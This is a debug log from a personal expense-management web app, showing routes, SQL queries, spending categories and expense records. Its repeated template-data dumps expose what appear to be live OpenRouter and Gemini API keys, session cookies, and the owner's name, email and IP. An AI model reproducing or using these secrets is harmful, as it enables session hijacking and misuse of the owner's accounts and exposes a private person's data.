2026-03-05T05:11:43.620Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-03-05T05:11:43.622Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-03-05T05:11:43.624Z server-connect:setup:routes Api route /api/test(.json)? created
2026-03-05T05:11:45.451Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-05T05:11:45.453Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-05T05:11:45.454Z server-connect:app Executing action step identify
2026-03-05T05:11:45.455Z server-connect:app options: { provider: 'security' }
2026-03-05T05:11:45.457Z server-connect:output identity: 1
2026-03-05T05:11:45.457Z server-connect:app Executing action step restrict
2026-03-05T05:11:45.457Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T05:11:45.458Z server-connect:app Executing action step identify
2026-03-05T05:11:45.458Z server-connect:app options: { provider: 'security' }
2026-03-05T05:11:45.458Z server-connect:output identity: 1
2026-03-05T05:11:45.458Z server-connect:app Executing action step restrict
2026-03-05T05:11:45.458Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T05:11:45.460Z server-connect:output restrict: undefined
2026-03-05T05:11:45.461Z server-connect:app Executing action step single
2026-03-05T05:11:45.461Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-05T05:11:45.464Z server-connect:output restrict: undefined
2026-03-05T05:11:45.464Z server-connect:app Executing action step select
2026-03-05T05:11:45.464Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-05T05:11:45.466Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-05T05:11:45.475Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-05T05:11:48.526Z server-connect:router Serving templateView /expense/list
2026-03-05T05:11:48.526Z server-connect:app Executing action step identify
2026-03-05T05:11:48.526Z server-connect:app options: { provider: 'security' }
2026-03-05T05:11:48.526Z server-connect:output identity: 1
2026-03-05T05:11:48.526Z server-connect:app Executing action step restrict
2026-03-05T05:11:48.526Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T05:11:48.527Z server-connect:output restrict: undefined
2026-03-05T05:11:48.527Z server-connect:router Render template expense/list
2026-03-05T05:11:48.528Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/expense/list',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T05:11:35.261Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/expense/list',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/expense/list',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/expense/list',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-05T05:11:48.801Z server-connect:router Serving serverConnect /api/expense/list
2026-03-05T05:11:48.801Z server-connect:router Serving serverConnect /api/masters/get-tags
2026-03-05T05:11:48.802Z server-connect:app Executing action step identify
2026-03-05T05:11:48.802Z server-connect:app options: { provider: 'security' }
2026-03-05T05:11:48.802Z server-connect:output identity: 1
2026-03-05T05:11:48.802Z server-connect:app Executing action step restrict
2026-03-05T05:11:48.802Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T05:11:48.803Z server-connect:app Executing action step identify
2026-03-05T05:11:48.803Z server-connect:app options: { provider: 'security' }
2026-03-05T05:11:48.803Z server-connect:output identity: 1
2026-03-05T05:11:48.803Z server-connect:app Executing action step restrict
2026-03-05T05:11:48.803Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-05T05:11:48.803Z server-connect:output restrict: undefined
2026-03-05T05:11:48.803Z server-connect:app Executing action step paged
2026-03-05T05:11:48.803Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    params: [ [Object], [Object], [Object] ],
    table: { name: 'expense' },
    primary: 'id',
    joins: [ [Object], [Object] ],
    query: 'select `expense`.`invoice_number`, `expense`.`quantity`, `expense`.`purchase_date`, `expense`.`receipt_url`, `expense`.`remark`, `expense`.`amount`, `sc`.`subcategory_name` as `item_name`, `c1`.`name` as `unit` from `expense` inner join `sub_categories` as `sc` on `sc`.`id` = `expense`.`category_id` inner join `collections` as `c1` on `c1`.`id` = `expense`.`unit` where (`expense`.`amount` = ? or `sc`.`subcategory_name` like ? or `c1`.`name` like ?) order by `expense`.`purchase_date` DESC',
    orders: [ [Object] ],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-03-05T05:11:48.805Z server-connect:output restrict: undefined
2026-03-05T05:11:48.805Z server-connect:app Executing action step select
2026-03-05T05:11:48.806Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'm_tags' },
    primary: 'id',
    joins: [],
    query: 'select `id`, `tag` from `m_tags`'
  }
}
2026-03-05T05:11:48.808Z server-connect:output list: [
  { id: 1, tag: 'Gadgets' },
  { id: 2, tag: 'Waste of money' },
  { id: 3, tag: 'Relax' },
  { id: 4, tag: 'Luxury' },
  { id: 5, tag: 'Needs' },
  { id: 6, tag: 'Swiggy' },
  { id: 7, tag: 'Zomato' },
  { id: 8, tag: 'Bills' },
  { id: 9, tag: 'EMIs' },
  { id: 10, tag: 'Blinkit' },
  { id: 11, tag: 'Instamart' }
]
2026-03-05T05:11:48.821Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 1955,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 1950 },
    current: 1,
    total: 79
  },
  data: [
    {
      invoice_number: 1239,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '189.00',
      item_name: 'Clothing',
      unit: 'Other'
    },
    {
      invoice_number: 1244,
      quantity: '1.00',
      purchase_date: '2025-12-07T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '300.00',
      item_name: 'Gas Bill',
      unit: 'Other'
    },
    {
      invoice_number: 1237,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '95.00',
      item_name: 'App Subscription',
      unit: 'Other'
    },
    {
      invoice_number: 1238,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '348.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1240,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'fruits',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '72.00',
      item_name: 'Paneer',
      unit: 'Other'
    },
    {
      invoice_number: 1242,
      quantity: '1.00',
      purchase_date: '2025-12-06T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '80.00',
      item_name: 'Paneer Masala',
      unit: 'Other'
    },
    {
      invoice_number: 1231,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '55.00',
      item_name: 'Milk',
      unit: 'Other'
    },
    {
      invoice_number: 1232,
      quantity: '2.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1233,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '585.00',
      item_name: 'Vegetables',
      unit: 'Other'
    },
    {
      invoice_number: 1234,
      quantity: '8.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '1432.00',
      item_name: 'HotWheels',
      unit: 'Piece'
    },
    {
      invoice_number: 1235,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '397.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1236,
      quantity: '1.00',
      purchase_date: '2025-12-05T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '111.00',
      item_name: 'Online Order',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '118.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '110.00',
      item_name: 'Raw Chicken',
      unit: 'Other'
    },
    {
      invoice_number: 1230,
      quantity: '30.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '120.00',
      item_name: 'Egg',
      unit: 'Other'
    },
    {
      invoice_number: 1243,
      quantity: '2.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '184.00',
      item_name: 'GoodKnight Liquid',
      unit: 'Piece'
    },
    {
      invoice_number: 1243,
      quantity: '1.00',
      purchase_date: '2025-12-04T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '519.00',
      item_name: 'Pre workout muscle blaze',
      unit: 'Other'
    },
    {
      invoice_number: 1227,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '3818.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '20.00',
      item_name: 'Pani Puri',
      unit: 'Other'
    },
    {
      invoice_number: 1228,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '230.00',
      item_name: 'Ghar k samaan',
      unit: 'Other'
    },
    {
      invoice_number: 1229,
      quantity: '1.00',
      purchase_date: '2025-12-03T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '143.00',
      item_name: 'Connecto',
      unit: 'Other'
    },
    {
      invoice_number: 1219,
      quantity: '2.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '210.00',
      item_name: 'Petrol',
      unit: 'Litres'
    },
    {
      invoice_number: 1220,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '125.00',
      item_name: 'HotWheels World',
      unit: 'Other'
    },
    {
      invoice_number: 1221,
      quantity: '1.00',
      purchase_date: '2025-12-02T18:30:00.000Z',
      receipt_url: null,
      remark: null,
      amount: '71.00',
      item_name: 'Vegetables',
      unit: 'Other'
    }
  ]
}
2026-03-05T05:11:50.072Z server-connect:router Serving templateView /emis
2026-03-05T05:11:50.072Z server-connect:app Executing action step identify
2026-03-05T05:11:50.072Z server-connect:app options: { provider: 'security' }
2026-03-05T05:11:50.072Z server-connect:output identity: 1
2026-03-05T05:11:50.072Z server-connect:app Executing action step restrict
2026-03-05T05:11:50.072Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-05T05:11:50.073Z server-connect:output restrict: undefined
2026-03-05T05:11:50.073Z server-connect:router Render template emis
2026-03-05T05:11:50.073Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3Ak8PdD3g%2FM9xHVbB4Ath%2BHw%3D%3D.Py79F%2FeXB6G4W%2BS8sfWYsOktNDsUVjRI1v1KKoM7JTCtA47Mp0vF%2FugvburgrVpZXeKOUpSFvdrom409IKebIWI4N0I9kchJq96F5X1b7rKAjKBNa90ikeNjhFk4LYs3AqCwEXMDNOTuv%2BjR8%2BDy3dKP00Bf0HdN1FsMZMXNo98%3D.NL%2F4tUetNYZr8VGG8clQa6ApYrYAGNjHhqK7vGA1IyY; your_r_git.sid=s%3ASvFgLm9GYN9G3-EZ68EXf0Xlnnai3Geg.zx1cRp0mVwZ2VkQQ1FJfQs00%2FzkQPRUgmr4pPJgRTIw',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-06T05:11:35.261Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
